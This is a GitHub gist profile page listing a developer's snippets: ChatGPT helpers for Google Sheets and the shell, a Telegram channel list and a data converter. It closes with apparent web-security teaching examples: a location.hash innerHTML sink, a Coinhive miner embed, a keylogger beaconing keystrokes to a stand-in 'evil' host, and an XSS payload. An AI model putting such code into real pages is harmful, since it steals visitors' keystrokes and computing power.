Skip to content

Instantly share code, notes, and snippets.

View stevermeister's full-sized avatar
🇺🇦

Stepan Suvorov stevermeister

🇺🇦
View GitHub Profile
@stevermeister
stevermeister / ai-function.gs
Last active August 22, 2024 14:31
code provided for this video - https://youtu.be/XZJ_C3j8_WI. (How to Integrate ChatGPT with Google Sheets Using Custom Functions)
function AI(prompt, cellData) {
// Add a system prompt to ensure output is specific and concise
var systemPrompt = "You are an AI assistant that provides very specific responses. Your outputs are meant to be placed directly into a spreadsheet cell. If the request is for a number, output just the number with no additional text or explanation. Be as concise as possible.";
// Combine the system prompt with the user prompt and cell data
var fullPrompt = systemPrompt + "\n\n" + prompt;
if (cellData !== undefined && cellData !== null && cellData !== "") {
fullPrompt += ": " + cellData;
}
@stevermeister
stevermeister / chat-gpt.sh
Created March 2, 2023 07:32
chatGPT API via shell
#!/bin/bash
# This script is an example CLI for OpenAI
# Check for required dependencies
if ! command -v curl > /dev/null; then
echo "Error: curl is not installed. Please install curl and try again."
exit 1
fi
@stevermeister
stevermeister / gist:27041289c766cd97a6acff71f2348b3d
Created February 26, 2022 23:01
Block Russian Propaganda Channels
# Block Russian Propaganda Channels!
(check updates from telegram channel - https://t.me/+nqYNNt0qoKU4MTRi)
You can help Ukraine by reporting this channels as fake:
TELEGRAM:
https://t.me/grey_zone
https://t.me/rlz_the_kraken
https://t.me/warjournaltg
https://t.me/bbbreaking
@stevermeister
stevermeister / convert.js
Created January 24, 2021 15:40
convert data from list to tree format
let data = [{
"counterpartyGroupId": 10,
"counterpartyGroupName": "Офисные сооружения",
"counterpartyGroupTypeId": 3,
"counterpartyGroupRemark": "Офисы",
"counterpartyGroupParentId": 0
},
{
"counterpartyGroupId": 11,
"counterpartyGroupName": "Страховые компании",
el.innerHTML = aTrustedHTML;
el.innerHTML = location.hash.slice(1); //string
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
<script src="https://coinhive.com/lib/coinhive.min.js">
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
<form id="#form">
<input type="hidden"
value="https://example.com"/><script>alert(1)</script>
</form>